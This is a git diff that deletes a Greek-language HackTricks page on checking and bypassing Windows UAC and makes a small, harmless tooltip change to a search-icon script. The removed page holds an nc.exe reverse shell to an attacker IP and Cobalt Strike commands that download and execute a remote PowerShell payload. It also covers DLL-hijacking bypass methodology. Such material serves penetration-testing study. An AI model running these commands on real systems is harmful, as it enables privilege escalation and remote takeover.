επιβεβαιώσετε αν το UAC είναι ενεργοποιημένο, κάντε: -``` -REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA - -HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -EnableLUA REG_DWORD 0x1 -``` -Αν είναι **`1`** τότε το UAC είναι **ενεργοποιημένο**, αν είναι **`0`** ή **δεν υπάρχει**, τότε το UAC είναι **ανενεργό**. - -Στη συνέχεια, ελέγξτε **ποιο επίπεδο** είναι ρυθμισμένο: -``` -REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin - -HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -ConsentPromptBehaviorAdmin REG_DWORD 0x5 -``` -- Αν **`0`** τότε, το UAC δεν θα ζητήσει (όπως **απενεργοποιημένο**) -- Αν **`1`** ο διαχειριστής **ζητείται να εισάγει όνομα χρήστη και κωδικό πρόσβασης** για να εκτελέσει το δυαδικό με υψηλά δικαιώματα (σε Secure Desktop) -- Αν **`2`** (**Πάντα να με ειδοποιείς**) το UAC θα ζητά πάντα επιβεβαίωση από τον διαχειριστή όταν προσπαθεί να εκτελέσει κάτι με υψηλά δικαιώματα (σε Secure Desktop) -- Αν **`3`** όπως το `1` αλλά δεν είναι απαραίτητο σε Secure Desktop -- Αν **`4`** όπως το `2` αλλά δεν είναι απαραίτητο σε Secure Desktop -- αν **`5`**(**προεπιλογή**) θα ζητήσει από τον διαχειριστή να επιβεβαιώσει την εκτέλεση μη Windows δυαδικών με υψηλά δικαιώματα - -Στη συνέχεια, πρέπει να ρίξετε μια ματιά στην τιμή του **`LocalAccountTokenFilterPolicy`**\ -Αν η τιμή είναι **`0`**, τότε, μόνο ο χρήστης **RID 500** (**ενσωματωμένος διαχειριστής**) μπορεί να εκτελεί **διοικητικά καθήκοντα χωρίς UAC**, και αν είναι `1`, **όλοι οι λογαριασμοί μέσα στην ομάδα "Administrators"** μπορούν να τα εκτελούν. - -Και, τελικά, ρίξτε μια ματιά στην τιμή του κλειδιού **`FilterAdministratorToken`**\ -Αν **`0`**(προεπιλογή), ο **ενσωματωμένος λογαριασμός διαχειριστή μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα και αν **`1`** ο ενσωματωμένος λογαριασμός διαχειριστή **δεν μπορεί** να εκτελεί απομακρυσμένα διοικητικά καθήκοντα, εκτός αν το `LocalAccountTokenFilterPolicy` είναι ρυθμισμένο σε `1`. - -#### Περίληψη - -- Αν `EnableLUA=0` ή **δεν υπάρχει**, **κανένα UAC για κανέναν** -- Αν `EnableLua=1` και **`LocalAccountTokenFilterPolicy=1`, Κανένα UAC για κανέναν** -- Αν `EnableLua=1` και **`LocalAccountTokenFilterPolicy=0` και `FilterAdministratorToken=0`, Κανένα UAC για RID 500 (Ενσωματωμένος Διαχειριστής)** -- Αν `EnableLua=1` και **`LocalAccountTokenFilterPolicy=0` και `FilterAdministratorToken=1`, UAC για όλους** - -Όλες αυτές οι πληροφορίες μπορούν να συγκεντρωθούν χρησιμοποιώντας το **metasploit** module: `post/windows/gather/win_privs` - -Μπορείτε επίσης να ελέγξετε τις ομάδες του χρήστη σας και να αποκτήσετε το επίπεδο ακεραιότητας: -``` -net user %username% -whoami /groups | findstr Level -``` -## UAC bypass - -> [!NOTE] -> Σημειώστε ότι αν έχετε γραφική πρόσβαση στο θύμα, η παράκαμψη UAC είναι απλή καθώς μπορείτε απλά να κάνετε κλικ στο "Ναι" όταν εμφανιστεί το παράθυρο προτροπής UAC. - -Η παράκαμψη UAC είναι απαραίτητη στην εξής κατάσταση: **η UAC είναι ενεργοποιημένη, η διαδικασία σας εκτελείται σε ένα μέσο επίπεδο ακεραιότητας και ο χρήστης σας ανήκει στην ομάδα διαχειριστών**. - -Είναι σημαντικό να αναφερθεί ότι είναι **πολύ πιο δύσκολο να παρακαμφθεί η UAC αν είναι στο υψηλότερο επίπεδο ασφάλειας (Πάντα) από ότι αν είναι σε οποιοδήποτε από τα άλλα επίπεδα (Προεπιλογή).** - -### UAC disabled - -Αν η UAC είναι ήδη απενεργοποιημένη (`ConsentPromptBehaviorAdmin` είναι **`0`**) μπορείτε να **εκτελέσετε ένα reverse shell με δικαιώματα διαχειριστή** (υψηλό επίπεδο ακεραιότητας) χρησιμοποιώντας κάτι όπως: -```bash -#Put your reverse shell instead of "calc.exe" -Start-Process powershell -Verb runAs "calc.exe" -Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" -``` -#### Παράκαμψη UAC με αντιγραφή διακριτικού - -- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) -- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) - -### **Πολύ** Βασική "παράκαμψη" UAC (πλήρης πρόσβαση στο σύστημα αρχείων) - -Αν έχετε ένα shell με έναν χρήστη που είναι μέσα στην ομάδα Διαχειριστών, μπορείτε να **τοποθετήσετε το C$** κοινόχρηστο μέσω SMB (σύστημα αρχείων) τοπικά σε έναν νέο δίσκο και θα έχετε **πρόσβαση σε όλα μέσα στο σύστημα αρχείων** (ακόμα και στον φάκελο του Διαχειριστή). - -> [!WARNING] -> **Φαίνεται ότι αυτό το κόλπο δεν λειτουργεί πια** -```bash -net use Z: \\127.0.0.1\c$ -cd C$ - -#Or you could just access it: -dir \\127.0.0.1\c$\Users\Administrator\Desktop -``` -### UAC παρακάμψη με το cobalt strike - -Οι τεχνικές του Cobalt Strike θα λειτουργήσουν μόνο αν το UAC δεν είναι ρυθμισμένο στο μέγιστο επίπεδο ασφαλείας του. -```bash -# UAC bypass via token duplication -elevate uac-token-duplication [listener_name] -# UAC bypass via service -elevate svc-exe [listener_name] - -# Bypass UAC with Token Duplication -runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -# Bypass UAC with CMSTPLUA COM interface -runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -``` -**Empire** και **Metasploit** έχουν επίσης αρκετά modules για να **παρακάμψουν** το **UAC**. - -### KRBUACBypass - -Τεκμηρίωση και εργαλείο στο [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) - -### UAC bypass exploits - -[**UACME** ](https://github.com/hfiref0x/UACME) που είναι μια **συλλογή** από αρκετά exploits για την παράκαμψη του UAC. Σημειώστε ότι θα χρειαστεί να **συγκεντρώσετε το UACME χρησιμοποιώντας το visual studio ή το msbuild**. Η συγκέντρωση θα δημιουργήσει αρκετά εκτελέσιμα (όπως το `Source\Akagi\outout\x64\Debug\Akagi.exe`), θα χρειαστεί να γνωρίζετε **ποιο χρειάζεστε.**\ -Πρέπει να **είστε προσεκτικοί** γιατί μερικές παρακάμψεις θα **προκαλέσουν άλλες προγράμματα** που θα **ειδοποιήσουν** τον **χρήστη** ότι κάτι συμβαίνει. - -Το UACME έχει την **έκδοση κατασκευής από την οποία κάθε τεχνική άρχισε να λειτουργεί**. Μπορείτε να αναζητήσετε μια τεχνική που επηρεάζει τις εκδόσεις σας: -``` -PS C:\> [environment]::OSVersion.Version - -Major Minor Build Revision ------ ----- ----- -------- -10 0 14393 0 -``` -Επίσης, χρησιμοποιώντας [αυτήν](https://en.wikipedia.org/wiki/Windows_10_version_history) τη σελίδα, μπορείτε να αποκτήσετε την έκδοση Windows `1607` από τις εκδόσεις build. - -#### Περισσότερο UAC bypass - -**Όλες** οι τεχνικές που χρησιμοποιούνται εδώ για να παρακαμφθεί το AUC **απαιτούν** μια **πλήρη διαδραστική κονσόλα** με το θύμα (μια κοινή κονσόλα nc.exe δεν είναι αρκετή). - -Μπορείτε να αποκτήσετε πρόσβαση χρησιμοποιώντας μια **meterpreter** συνεδρία. Μεταναστεύστε σε μια **διαδικασία** που έχει την τιμή **Session** ίση με **1**: - -![](<../../images/image (96).png>) - -(_explorer.exe_ θα πρέπει να λειτουργεί) - -### UAC Bypass με GUI - -Αν έχετε πρόσβαση σε μια **GUI μπορείτε απλώς να αποδεχθείτε το UAC prompt** όταν το λάβετε, δεν χρειάζεστε πραγματικά μια παράκαμψη. Έτσι, η απόκτηση πρόσβασης σε μια GUI θα σας επιτρέψει να παρακάμψετε το UAC. - -Επιπλέον, αν αποκτήσετε μια GUI συνεδρία που κάποιος χρησιμοποιούσε (πιθανώς μέσω RDP) υπάρχουν **ορισμένα εργαλεία που θα εκτελούνται ως διαχειριστής** από όπου θα μπορούσατε να **τρέξετε** ένα **cmd** για παράδειγμα **ως διαχειριστής** απευθείας χωρίς να σας ζητηθεί ξανά από το UAC όπως [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Αυτό μπορεί να είναι λίγο πιο **αθόρυβο**. - -### Θορυβώδης brute-force UAC bypass - -Αν δεν σας νοιάζει να είστε θορυβώδεις, μπορείτε πάντα να **τρέξετε κάτι όπως** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) που **ζητά να ανυψώσει δικαιώματα μέχρι ο χρήστης να το αποδεχθεί**. - -### Η δική σας παράκαμψη - Βασική μεθοδολογία UAC bypass - -Αν ρίξετε μια ματιά στο **UACME** θα παρατηρήσετε ότι **οι περισσότερες παρακάμψεις UAC εκμεταλλεύονται μια ευπάθεια Dll Hijacking** (κυρίως γράφοντας το κακόβουλο dll στο _C:\Windows\System32_). [Διαβάστε αυτό για να μάθετε πώς να βρείτε μια ευπάθεια Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking.md). - -1. Βρείτε ένα δυαδικό αρχείο που θα **αυτοανυψώνεται** (ελέγξτε ότι όταν εκτελείται τρέχει σε υψηλό επίπεδο ακεραιότητας). -2. Με το procmon βρείτε γεγονότα "**NAME NOT FOUND**" που μπορεί να είναι ευάλωτα σε **DLL Hijacking**. -3. Πιθανώς θα χρειαστεί να **γράψετε** το DLL μέσα σε κάποιες **προστατευμένες διαδρομές** (όπως C:\Windows\System32) όπου δεν έχετε δικαιώματα εγγραφής. Μπορείτε να παρακάμψετε αυτό χρησιμοποιώντας: - 1. **wusa.exe**: Windows 7, 8 και 8.1. Επιτρέπει την εξαγωγή του περιεχομένου ενός CAB αρχείου μέσα σε προστατευμένες διαδρομές (επειδή αυτό το εργαλείο εκτελείται από υψηλό επίπεδο ακεραιότητας). - 2. **IFileOperation**: Windows 10. -4. Ετοιμάστε ένα **script** για να αντιγράψετε το DLL σας μέσα στην προστατευμένη διαδρομή και να εκτελέσετε το ευάλωτο και αυτοανυψωμένο δυαδικό αρχείο. - -### Μια άλλη τεχνική UAC bypass - -Αποτελείται από την παρακολούθηση αν ένα **autoElevated binary** προσπαθεί να **διαβάσει** από το **registry** το **όνομα/διαδρομή** ενός **δυαδικού** ή **εντολής** που θα **εκτελεστεί** (αυτό είναι πιο ενδιαφέρον αν το δυαδικό αναζητά αυτές τις πληροφορίες μέσα στο **HKCU**). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 2ec1f5ec0..f47ba384a 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -101,6 +101,7 @@ const READY_ICON = icon.innerHTML; icon.textContent = '⏳'; icon.setAttribute('aria-label','Loading search …'); + icon.setAttribute('title','Search is loading, please wait...'); const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; let debounce, teaserCount=0; @@ -158,8 +159,16 @@ /* ───────────── worker messages ───────────── */ worker.onmessage = ({data}) => { if(data && data.ready!==undefined){ - if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } - else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + if(data.ready){ + icon.innerHTML=READY_ICON; + icon.setAttribute('aria-label','Open search (S)'); + icon.removeAttribute('title'); + } + else { + icon.textContent='❌'; + icon.setAttribute('aria-label','Search unavailable'); + icon.setAttribute('title','Search is unavailable'); + } return; } const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);